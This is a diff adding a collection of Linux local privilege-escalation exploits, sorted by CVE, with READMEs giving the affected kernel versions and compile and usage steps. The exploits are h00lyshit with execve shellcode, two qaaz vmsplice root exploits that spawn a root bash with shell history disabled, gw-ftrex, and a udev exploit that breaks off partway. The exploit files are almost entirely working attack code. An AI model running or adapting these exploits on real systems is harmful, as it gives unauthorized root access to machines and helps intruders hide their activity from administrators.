* [CVE-2006-2451](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2006-2451)
|
||||
* [exp-db](http://www.exploit-db.com/exploits/2031/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc raptor_prctl2.c -o raptor_prctl2 -static -Wall
|
||||
[exploit must be statically linked]
|
||||
$ ./raptor_prctl2
|
||||
[please wait until logrotate is run]
|
||||
$ ls -l /tmp/pwned
|
||||
-rwsr-xr-x 1 root users 7221 2006-07-18 13:32 /tmp/pwned
|
||||
$ /tmp/pwned
|
||||
```
|
||||
|
||||
|
||||
|
194
98-Linux提权/2006/CVE-2006-3626/2013.c
Normal file
194
98-Linux提权/2006/CVE-2006-3626/2013.c
Normal file
@ -0,0 +1,194 @@
|
||||
/*
|
||||
** Author: h00lyshit
|
||||
** Vulnerable: Linux 2.6 ALL
|
||||
** Type of Vulnerability: Local Race
|
||||
** Tested On : various distros
|
||||
** Vendor Status: unknown
|
||||
**
|
||||
** Disclaimer:
|
||||
** In no event shall the author be liable for any damages
|
||||
** whatsoever arising out of or in connection with the use
|
||||
** or spread of this information.
|
||||
** Any use of this information is at the user's own risk.
|
||||
**
|
||||
** Compile:
|
||||
** gcc h00lyshit.c -o h00lyshit
|
||||
**
|
||||
** Usage:
|
||||
** h00lyshit <very big file on the disk>
|
||||
**
|
||||
** Example:
|
||||
** h00lyshit /usr/X11R6/lib/libethereal.so.0.0.1
|
||||
**
|
||||
** if y0u dont have one, make big file (~100MB) in /tmp with dd
|
||||
** and try to junk the cache e.g. cat /usr/lib/* >/dev/null
|
||||
**
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/wait.h>
|
||||
#include <linux/a.out.h>
|
||||
#include <asm/unistd.h>
|
||||
|
||||
|
||||
static struct exec ex;
|
||||
static char *e[256];
|
||||
static char *a[4];
|
||||
static char b[512];
|
||||
static char t[256];
|
||||
static volatile int *c;
|
||||
|
||||
|
||||
/* h00lyshit shell code */
|
||||
__asm__ (" __excode: call 1f \n"
|
||||
" 1: mov $23, %eax \n"
|
||||
" xor %ebx, %ebx \n"
|
||||
" int $0x80 \n"
|
||||
" pop %eax \n"
|
||||
" mov $cmd-1b, %ebx \n"
|
||||
" add %eax, %ebx \n"
|
||||
" mov $arg-1b, %ecx \n"
|
||||
" add %eax, %ecx \n"
|
||||
" mov %ebx, (%ecx) \n"
|
||||
" mov %ecx, %edx \n"
|
||||
" add $4, %edx \n"
|
||||
" mov $11, %eax \n"
|
||||
" int $0x80 \n"
|
||||
" mov $1, %eax \n"
|
||||
" int $0x80 \n"
|
||||
" arg: .quad 0x00, 0x00 \n"
|
||||
" cmd: .string \"/bin/sh\" \n"
|
||||
" __excode_e: nop \n"
|
||||
" .global __excode \n"
|
||||
" .global __excode_e \n"
|
||||
);
|
||||
|
||||
|
||||
|
||||
extern void (*__excode) (void);
|
||||
extern void (*__excode_e) (void);
|
||||
|
||||
|
||||
void
|
||||
error (char *err)
|
||||
{
|
||||
perror (err);
|
||||
fflush (stderr);
|
||||
exit (1);
|
||||
}
|
||||
|
||||
|
||||
/* exploit this shit */
|
||||
void
|
||||
exploit (char *file)
|
||||
{
|
||||
int i, fd;
|
||||
void *p;
|
||||
struct stat st;
|
||||
|
||||
printf ("\ntrying to exploit %s\n\n", file);
|
||||
fflush (stdout);
|
||||
chmod ("/proc/self/environ", 04755);
|
||||
c = mmap (0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0);
|
||||
memset ((void *) c, 0, 4096);
|
||||
|
||||
/* slow down machine */
|
||||
fd = open (file, O_RDONLY);
|
||||
fstat (fd, &st);
|
||||
p =
|
||||
(void *) mmap (0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
|
||||
if (p == MAP_FAILED)
|
||||
error ("mmap");
|
||||
prctl (PR_SET_DUMPABLE, 0, 0, 0, 0);
|
||||
sprintf (t, "/proc/%d/environ", getpid ());
|
||||
sched_yield ();
|
||||
execve (NULL, a, e);
|
||||
madvise (0, 0, MADV_WILLNEED);
|
||||
i = fork ();
|
||||
|
||||
/* give it a try */
|
||||
if (i)
|
||||
{
|
||||
(*c)++;
|
||||
!madvise (p, st.st_size, MADV_WILLNEED) ? : error ("madvise");
|
||||
prctl (PR_SET_DUMPABLE, 1, 0, 0, 0);
|
||||
sched_yield ();
|
||||
}
|
||||
else
|
||||
{
|
||||
nice(10);
|
||||
while (!(*c));
|
||||
sched_yield ();
|
||||
execve (t, a, e);
|
||||
error ("failed");
|
||||
}
|
||||
|
||||
waitpid (i, NULL, 0);
|
||||
exit (0);
|
||||
}
|
||||
|
||||
|
||||
int
|
||||
main (int ac, char **av)
|
||||
{
|
||||
int i, j, k, s;
|
||||
char *p;
|
||||
|
||||
memset (e, 0, sizeof (e));
|
||||
memset (a, 0, sizeof (a));
|
||||
a[0] = strdup (av[0]);
|
||||
a[1] = strdup (av[0]);
|
||||
a[2] = strdup (av[1]);
|
||||
|
||||
if (ac < 2)
|
||||
error ("usage: binary <big file name>");
|
||||
if (ac > 2)
|
||||
exploit (av[2]);
|
||||
printf ("\npreparing");
|
||||
fflush (stdout);
|
||||
|
||||
/* make setuid a.out */
|
||||
memset (&ex, 0, sizeof (ex));
|
||||
N_SET_MAGIC (ex, NMAGIC);
|
||||
N_SET_MACHTYPE (ex, M_386);
|
||||
s = ((unsigned) &__excode_e) - (unsigned) &__excode;
|
||||
ex.a_text = s;
|
||||
ex.a_syms = -(s + sizeof (ex));
|
||||
|
||||
memset (b, 0, sizeof (b));
|
||||
memcpy (b, &ex, sizeof (ex));
|
||||
memcpy (b + sizeof (ex), &__excode, s);
|
||||
|
||||
/* make environment */
|
||||
p = b;
|
||||
s += sizeof (ex);
|
||||
j = 0;
|
||||
for (i = k = 0; i < s; i++)
|
||||
{
|
||||
if (!p[i])
|
||||
{
|
||||
e[j++] = &p[k];
|
||||
k = i + 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* reexec */
|
||||
getcwd (t, sizeof (t));
|
||||
strcat (t, "/");
|
||||
strcat (t, av[0]);
|
||||
execve (t, a, e);
|
||||
error ("execve");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// milw0rm.com [2006-07-15]
|
24
98-Linux提权/2006/CVE-2006-3626/README.md
Normal file
24
98-Linux提权/2006/CVE-2006-3626/README.md
Normal file
@ -0,0 +1,24 @@
|
||||
# CVE-2006-3626
|
||||
|
||||
CVE-2006-3626
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2006-3626](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2006-3626)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/2013/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.8, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16
|
||||
```
|
||||
## Usage
|
||||
```
|
||||
Compile:
|
||||
gcc h00lyshit.c -o h00lyshit
|
||||
**
|
||||
Usage:
|
||||
h00lyshit <very big file on the disk>
|
||||
**
|
||||
Example:
|
||||
h00lyshit /usr/X11R6/lib/libethereal.so.0.0.1
|
||||
```
|
||||
|
147
98-Linux提权/2008/CVE-2008-0600/5093.c
Normal file
147
98-Linux提权/2008/CVE-2008-0600/5093.c
Normal file
@ -0,0 +1,147 @@
|
||||
/*
|
||||
* diane_lane_fucked_hard.c
|
||||
*
|
||||
* Linux vmsplice Local Root Exploit
|
||||
* By qaaz
|
||||
*
|
||||
* Linux 2.6.23 - 2.6.24
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <errno.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/uio.h>
|
||||
|
||||
#define TARGET_PATTERN " sys_vm86old"
|
||||
#define TARGET_SYSCALL 113
|
||||
|
||||
#ifndef __NR_vmsplice
|
||||
#define __NR_vmsplice 316
|
||||
#endif
|
||||
|
||||
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
|
||||
#define gimmeroot() syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4)
|
||||
|
||||
#define TRAMP_CODE (void *) trampoline
|
||||
#define TRAMP_SIZE ( sizeof(trampoline) - 1 )
|
||||
|
||||
unsigned char trampoline[] =
|
||||
"\x8b\x5c\x24\x04" /* mov 0x4(%esp),%ebx */
|
||||
"\x8b\x4c\x24\x08" /* mov 0x8(%esp),%ecx */
|
||||
"\x81\xfb\x69\x7a\x00\x00" /* cmp $31337,%ebx */
|
||||
"\x75\x02" /* jne +2 */
|
||||
"\xff\xd1" /* call *%ecx */
|
||||
"\xb8\xea\xff\xff\xff" /* mov $-EINVAL,%eax */
|
||||
"\xc3" /* ret */
|
||||
;
|
||||
|
||||
void die(char *msg, int err)
|
||||
{
|
||||
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
|
||||
fflush(stdout);
|
||||
fflush(stderr);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
long get_target()
|
||||
{
|
||||
FILE *f;
|
||||
long addr = 0;
|
||||
char line[128];
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (!f) die("/proc/kallsyms", errno);
|
||||
|
||||
while (fgets(line, sizeof(line), f)) {
|
||||
if (strstr(line, TARGET_PATTERN)) {
|
||||
addr = strtoul(line, NULL, 16);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
|
||||
static inline __attribute__((always_inline))
|
||||
void * get_current()
|
||||
{
|
||||
unsigned long curr;
|
||||
__asm__ __volatile__ (
|
||||
"movl %%esp, %%eax ;"
|
||||
"andl %1, %%eax ;"
|
||||
"movl (%%eax), %0"
|
||||
: "=r" (curr)
|
||||
: "i" (~8191)
|
||||
);
|
||||
return (void *) curr;
|
||||
}
|
||||
|
||||
static uint uid, gid;
|
||||
|
||||
void kernel_code()
|
||||
{
|
||||
int i;
|
||||
uint *p = get_current();
|
||||
|
||||
for (i = 0; i < 1024-13; i++) {
|
||||
if (p[0] == uid && p[1] == uid &&
|
||||
p[2] == uid && p[3] == uid &&
|
||||
p[4] == gid && p[5] == gid &&
|
||||
p[6] == gid && p[7] == gid) {
|
||||
p[0] = p[1] = p[2] = p[3] = 0;
|
||||
p[4] = p[5] = p[6] = p[7] = 0;
|
||||
p = (uint *) ((char *)(p + 8) + sizeof(void *));
|
||||
p[0] = p[1] = p[2] = ~0;
|
||||
break;
|
||||
}
|
||||
p++;
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int pi[2];
|
||||
long addr;
|
||||
struct iovec iov;
|
||||
|
||||
uid = getuid();
|
||||
gid = getgid();
|
||||
setresuid(uid, uid, uid);
|
||||
setresgid(gid, gid, gid);
|
||||
|
||||
printf("-----------------------------------\n");
|
||||
printf(" Linux vmsplice Local Root Exploit\n");
|
||||
printf(" By qaaz\n");
|
||||
printf("-----------------------------------\n");
|
||||
|
||||
if (!uid || !gid)
|
||||
die("!@#$", 0);
|
||||
|
||||
addr = get_target();
|
||||
printf("[+] addr: 0x%lx\n", addr);
|
||||
|
||||
if (pipe(pi) < 0)
|
||||
die("pipe", errno);
|
||||
|
||||
iov.iov_base = (void *) addr;
|
||||
iov.iov_len = TRAMP_SIZE;
|
||||
|
||||
write(pi[1], TRAMP_CODE, TRAMP_SIZE);
|
||||
_vmsplice(pi[0], &iov, 1, 0);
|
||||
|
||||
gimmeroot();
|
||||
|
||||
if (getuid() != 0)
|
||||
die("wtf", 0);
|
||||
|
||||
printf("[+] root\n");
|
||||
putenv("HISTFILE=/dev/null");
|
||||
execl("/bin/bash", "bash", "-i", NULL);
|
||||
die("/bin/bash", errno);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// milw0rm.com [2008-02-09]
|
15
98-Linux提权/2008/CVE-2008-0600/README.md
Normal file
15
98-Linux提权/2008/CVE-2008-0600/README.md
Normal file
@ -0,0 +1,15 @@
|
||||
# CVE-2008-0600
|
||||
|
||||
CVE-2008-0600
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2008-0600](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2008-0600)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/5093/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.23, 2.6.24
|
||||
```
|
||||
|
||||
|
||||
|
289
98-Linux提权/2008/CVE-2008-0900/5092.c
Normal file
289
98-Linux提权/2008/CVE-2008-0900/5092.c
Normal file
@ -0,0 +1,289 @@
|
||||
/*
|
||||
* jessica_biel_naked_in_my_bed.c
|
||||
*
|
||||
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
|
||||
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
|
||||
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
|
||||
*
|
||||
* Linux vmsplice Local Root Exploit
|
||||
* By qaaz
|
||||
*
|
||||
* Linux 2.6.17 - 2.6.24.1
|
||||
*
|
||||
* This is quite old code and I had to rewrite it to even compile.
|
||||
* It should work well, but I don't remeber original intent of all
|
||||
* the code, so I'm not 100% sure about it. You've been warned ;)
|
||||
*
|
||||
* -static -Wno-format
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <errno.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <malloc.h>
|
||||
#include <limits.h>
|
||||
#include <signal.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/uio.h>
|
||||
#include <sys/mman.h>
|
||||
#include <asm/page.h>
|
||||
#define __KERNEL__
|
||||
#include <asm/unistd.h>
|
||||
|
||||
#define PIPE_BUFFERS 16
|
||||
#define PG_compound 14
|
||||
#define uint unsigned int
|
||||
#define static_inline static inline __attribute__((always_inline))
|
||||
#define STACK(x) (x + sizeof(x) - 40)
|
||||
|
||||
struct page {
|
||||
unsigned long flags;
|
||||
int count;
|
||||
int mapcount;
|
||||
unsigned long private;
|
||||
void *mapping;
|
||||
unsigned long index;
|
||||
struct { long next, prev; } lru;
|
||||
};
|
||||
|
||||
void exit_code();
|
||||
char exit_stack[1024 * 1024];
|
||||
|
||||
void die(char *msg, int err)
|
||||
{
|
||||
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
|
||||
fflush(stdout);
|
||||
fflush(stderr);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
#if defined (__i386__)
|
||||
|
||||
#ifndef __NR_vmsplice
|
||||
#define __NR_vmsplice 316
|
||||
#endif
|
||||
|
||||
#define USER_CS 0x73
|
||||
#define USER_SS 0x7b
|
||||
#define USER_FL 0x246
|
||||
|
||||
static_inline
|
||||
void exit_kernel()
|
||||
{
|
||||
__asm__ __volatile__ (
|
||||
"movl %0, 0x10(%%esp) ;"
|
||||
"movl %1, 0x0c(%%esp) ;"
|
||||
"movl %2, 0x08(%%esp) ;"
|
||||
"movl %3, 0x04(%%esp) ;"
|
||||
"movl %4, 0x00(%%esp) ;"
|
||||
"iret"
|
||||
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
|
||||
"i" (USER_CS), "r" (exit_code)
|
||||
);
|
||||
}
|
||||
|
||||
static_inline
|
||||
void * get_current()
|
||||
{
|
||||
unsigned long curr;
|
||||
__asm__ __volatile__ (
|
||||
"movl %%esp, %%eax ;"
|
||||
"andl %1, %%eax ;"
|
||||
"movl (%%eax), %0"
|
||||
: "=r" (curr)
|
||||
: "i" (~8191)
|
||||
);
|
||||
return (void *) curr;
|
||||
}
|
||||
|
||||
#elif defined (__x86_64__)
|
||||
|
||||
#ifndef __NR_vmsplice
|
||||
#define __NR_vmsplice 278
|
||||
#endif
|
||||
|
||||
#define USER_CS 0x23
|
||||
#define USER_SS 0x2b
|
||||
#define USER_FL 0x246
|
||||
|
||||
static_inline
|
||||
void exit_kernel()
|
||||
{
|
||||
__asm__ __volatile__ (
|
||||
"swapgs ;"
|
||||
"movq %0, 0x20(%%rsp) ;"
|
||||
"movq %1, 0x18(%%rsp) ;"
|
||||
"movq %2, 0x10(%%rsp) ;"
|
||||
"movq %3, 0x08(%%rsp) ;"
|
||||
"movq %4, 0x00(%%rsp) ;"
|
||||
"iretq"
|
||||
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
|
||||
"i" (USER_CS), "r" (exit_code)
|
||||
);
|
||||
}
|
||||
|
||||
static_inline
|
||||
void * get_current()
|
||||
{
|
||||
unsigned long curr;
|
||||
__asm__ __volatile__ (
|
||||
"movq %%gs:(0), %0"
|
||||
: "=r" (curr)
|
||||
);
|
||||
return (void *) curr;
|
||||
}
|
||||
|
||||
#else
|
||||
#error "unsupported arch"
|
||||
#endif
|
||||
|
||||
#if defined (_syscall4)
|
||||
#define __NR__vmsplice __NR_vmsplice
|
||||
_syscall4(
|
||||
long, _vmsplice,
|
||||
int, fd,
|
||||
struct iovec *, iov,
|
||||
unsigned long, nr_segs,
|
||||
unsigned int, flags)
|
||||
|
||||
#else
|
||||
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
|
||||
#endif
|
||||
|
||||
static uint uid, gid;
|
||||
|
||||
void kernel_code()
|
||||
{
|
||||
int i;
|
||||
uint *p = get_current();
|
||||
|
||||
for (i = 0; i < 1024-13; i++) {
|
||||
if (p[0] == uid && p[1] == uid &&
|
||||
p[2] == uid && p[3] == uid &&
|
||||
p[4] == gid && p[5] == gid &&
|
||||
p[6] == gid && p[7] == gid) {
|
||||
p[0] = p[1] = p[2] = p[3] = 0;
|
||||
p[4] = p[5] = p[6] = p[7] = 0;
|
||||
p = (uint *) ((char *)(p + 8) + sizeof(void *));
|
||||
p[0] = p[1] = p[2] = ~0;
|
||||
break;
|
||||
}
|
||||
p++;
|
||||
}
|
||||
|
||||
exit_kernel();
|
||||
}
|
||||
|
||||
void exit_code()
|
||||
{
|
||||
if (getuid() != 0)
|
||||
die("wtf", 0);
|
||||
|
||||
printf("[+] root\n");
|
||||
putenv("HISTFILE=/dev/null");
|
||||
execl("/bin/bash", "bash", "-i", NULL);
|
||||
die("/bin/bash", errno);
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int pi[2];
|
||||
size_t map_size;
|
||||
char * map_addr;
|
||||
struct iovec iov;
|
||||
struct page * pages[5];
|
||||
|
||||
uid = getuid();
|
||||
gid = getgid();
|
||||
setresuid(uid, uid, uid);
|
||||
setresgid(gid, gid, gid);
|
||||
|
||||
printf("-----------------------------------\n");
|
||||
printf(" Linux vmsplice Local Root Exploit\n");
|
||||
printf(" By qaaz\n");
|
||||
printf("-----------------------------------\n");
|
||||
|
||||
if (!uid || !gid)
|
||||
die("!@#$", 0);
|
||||
|
||||
/*****/
|
||||
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
|
||||
pages[1] = pages[0] + 1;
|
||||
|
||||
map_size = PAGE_SIZE;
|
||||
map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
|
||||
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (map_addr == MAP_FAILED)
|
||||
die("mmap", errno);
|
||||
|
||||
memset(map_addr, 0, map_size);
|
||||
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
|
||||
printf("[+] page: 0x%lx\n", pages[0]);
|
||||
printf("[+] page: 0x%lx\n", pages[1]);
|
||||
|
||||
pages[0]->flags = 1 << PG_compound;
|
||||
pages[0]->private = (unsigned long) pages[0];
|
||||
pages[0]->count = 1;
|
||||
pages[1]->lru.next = (long) kernel_code;
|
||||
|
||||
/*****/
|
||||
pages[2] = *(void **) pages[0];
|
||||
pages[3] = pages[2] + 1;
|
||||
|
||||
map_size = PAGE_SIZE;
|
||||
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
|
||||
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (map_addr == MAP_FAILED)
|
||||
die("mmap", errno);
|
||||
|
||||
memset(map_addr, 0, map_size);
|
||||
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
|
||||
printf("[+] page: 0x%lx\n", pages[2]);
|
||||
printf("[+] page: 0x%lx\n", pages[3]);
|
||||
|
||||
pages[2]->flags = 1 << PG_compound;
|
||||
pages[2]->private = (unsigned long) pages[2];
|
||||
pages[2]->count = 1;
|
||||
pages[3]->lru.next = (long) kernel_code;
|
||||
|
||||
/*****/
|
||||
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
|
||||
map_size = PAGE_SIZE;
|
||||
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
|
||||
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (map_addr == MAP_FAILED)
|
||||
die("mmap", errno);
|
||||
memset(map_addr, 0, map_size);
|
||||
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
|
||||
printf("[+] page: 0x%lx\n", pages[4]);
|
||||
|
||||
/*****/
|
||||
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
|
||||
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (map_addr == MAP_FAILED)
|
||||
die("mmap", errno);
|
||||
|
||||
memset(map_addr, 0, map_size);
|
||||
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
|
||||
|
||||
/*****/
|
||||
map_size -= 2 * PAGE_SIZE;
|
||||
if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
|
||||
die("munmap", errno);
|
||||
|
||||
/*****/
|
||||
if (pipe(pi) < 0) die("pipe", errno);
|
||||
close(pi[0]);
|
||||
|
||||
iov.iov_base = map_addr;
|
||||
iov.iov_len = ULONG_MAX;
|
||||
|
||||
signal(SIGPIPE, exit_code);
|
||||
_vmsplice(pi[1], &iov, 1, 0);
|
||||
die("vmsplice", errno);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// milw0rm.com [2008-02-09]
|
13
98-Linux提权/2008/CVE-2008-0900/README.md
Normal file
13
98-Linux提权/2008/CVE-2008-0900/README.md
Normal file
@ -0,0 +1,13 @@
|
||||
# CVE-2008-0900
|
||||
|
||||
CVE-2008-0900
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2008-0900](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2008-0900)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/5092/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.24.1
|
||||
```
|
||||
|
88
98-Linux提权/2008/CVE-2008-4210/6851.c
Normal file
88
98-Linux提权/2008/CVE-2008-4210/6851.c
Normal file
@ -0,0 +1,88 @@
|
||||
/*
|
||||
gw-ftrex.c:
|
||||
|
||||
Linux kernel < 2.6.22 open/ftruncate local exploit
|
||||
by <gat3way at gat3way dot eu>
|
||||
|
||||
bug information:
|
||||
http://osvdb.org/49081
|
||||
|
||||
|
||||
!!!This is for educational purposes only!!!
|
||||
|
||||
To use it, you've got to find a sgid directory you've got
|
||||
permissions to write into (obviously world-writable), e.g:
|
||||
find / -perm -2000 -type d 2>/dev/null|xargs ls -ld|grep "rwx"
|
||||
which fortunately is not common those days :)
|
||||
And also a shell that does not drop sgid privs upon execution (like ash/sash).
|
||||
E.g:
|
||||
|
||||
test:/fileserver/samba$ ls -ld
|
||||
drwxrwsrwx 2 root root 4096 2008-10-27 16:27.
|
||||
test:/fileserver/samba$ id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
test:/fileserver/samba$ /tmp/gw-ftrex
|
||||
ash shell found!
|
||||
size=80200
|
||||
We're evil evil evil!
|
||||
|
||||
$ id
|
||||
uid=33(www-data) gid=33(www-data) egid=0(root) groups=33(www-data)
|
||||
|
||||
Trqbva da kaja neshto umno kato zakliuchenie...ma sega ne moga da se setia.
|
||||
*/
|
||||
|
||||
|
||||
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/mman.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
char *buf=malloc(3096*1024); //3mb just to be sure
|
||||
int a,len;
|
||||
int fd,fd1;
|
||||
char *buf1;
|
||||
int shell=0;
|
||||
|
||||
|
||||
if (stat("/bin/ash",buf)==0)
|
||||
{
|
||||
printf("ash shell found!\n");
|
||||
shell=1;
|
||||
}
|
||||
|
||||
if (shell==0) if (stat("/bin/sash",buf)==0)
|
||||
{
|
||||
printf("sash shell found!\n");
|
||||
shell=1;
|
||||
}
|
||||
|
||||
if (shell==0)
|
||||
{
|
||||
printf("no suitable shell found (one that does not drop sgid permissions) :(\n");
|
||||
exit(2);
|
||||
}
|
||||
|
||||
|
||||
len=0;
|
||||
if (shell==1) fd=open("/bin/ash",O_RDONLY);
|
||||
if (shell==2) fd=open("/bin/sash",O_RDONLY);
|
||||
|
||||
while (read(fd,buf+len,1)) len++;
|
||||
|
||||
printf("size=%d\n",len);
|
||||
fd1=open(".evilsploit",O_RDWR | O_CREAT | O_EXCL, 02750);
|
||||
ftruncate(fd1, len);
|
||||
buf1 = mmap(NULL, len, PROT_WRITE | PROT_EXEC, MAP_SHARED, fd1, 0);
|
||||
memcpy(buf1,buf,len);
|
||||
munmap(buf1,len);
|
||||
close(fd1);close(fd);
|
||||
free(buf);
|
||||
printf("We're evil evil evil!\n\n");
|
||||
execv(".evilsploit", NULL);
|
||||
}
|
||||
|
||||
// milw0rm.com [2008-10-27]
|
13
98-Linux提权/2008/CVE-2008-4210/README.md
Normal file
13
98-Linux提权/2008/CVE-2008-4210/README.md
Normal file
@ -0,0 +1,13 @@
|
||||
# CVE-2008-4210
|
||||
|
||||
CVE-2008-4210
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2008-4210](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4210)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/6851/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22
|
||||
```
|
||||
|
133
98-Linux提权/2009/CVE-2009-1185/8478.sh
Normal file
133
98-Linux提权/2009/CVE-2009-1185/8478.sh
Normal file
@ -0,0 +1,133 @@
|
||||
#!/bin/sh
|
||||
# Linux 2.6
|
||||
# bug found by Sebastian Krahmer
|
||||
#
|
||||
# lame sploit using LD technique
|
||||
# by kcope in 2009
|
||||
# tested on debian-etch,ubuntu,gentoo
|
||||
# do a 'cat /proc/net/netlink'
|
||||
# and set the first arg to this
|
||||
# script to the pid of the netlink socket
|
||||
# (the pid is udevd_pid - 1 most of the time)
|
||||
# + sploit has to be UNIX formatted text :)
|
||||
# + if it doesn't work the 1st time try more often
|
||||
#
|
||||
# WARNING: maybe needs some FIXUP to work flawlessly
|
||||
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang
|
||||
|
||||
cat > udev.c << _EOF
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <dirent.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sysexits.h>
|
||||
#include <wait.h>
|
||||
#include <signal.h>
|
||||
#include <sys/socket.h>
|
||||
#include <linux/types.h>
|
||||
#include <linux/netlink.h>
|
||||
|
||||
#ifndef NETLINK_KOBJECT_UEVENT
|
||||
#define NETLINK_KOBJECT_UEVENT 15
|
||||
#endif
|
||||
|
||||
#define SHORT_STRING 64
|
||||
#define MEDIUM_STRING 128
|
||||
#define BIG_STRING 256
|
||||
#define LONG_STRING 1024
|
||||
#define EXTRALONG_STRING 4096
|
||||
#define TRUE 1
|
||||
#define FALSE 0
|
||||
|
||||
int socket_fd;
|
||||
struct sockaddr_nl address;
|
||||
struct msghdr msg;
|
||||
struct iovec iovector;
|
||||
int sz = 64*1024;
|
||||
|
||||
main(int argc, char **argv) {
|
||||
char sysfspath[SHORT_STRING];
|
||||
char subsystem[SHORT_STRING];
|
||||
char event[SHORT_STRING];
|
||||
char major[SHORT_STRING];
|
||||
char minor[SHORT_STRING];
|
||||
|
||||
sprintf(event, "add");
|
||||
sprintf(subsystem, "block");
|
||||
sprintf(sysfspath, "/dev/foo");
|
||||
sprintf(major, "8");
|
||||
sprintf(minor, "1");
|
||||
|
||||
memset(&address, 0, sizeof(address));
|
||||
address.nl_family = AF_NETLINK;
|
||||
address.nl_pid = atoi(argv[1]);
|
||||
address.nl_groups = 0;
|
||||
|
||||
msg.msg_name = (void*)&address;
|
||||
msg.msg_namelen = sizeof(address);
|
||||
msg.msg_iov = &iovector;
|
||||
msg.msg_iovlen = 1;
|
||||
|
||||
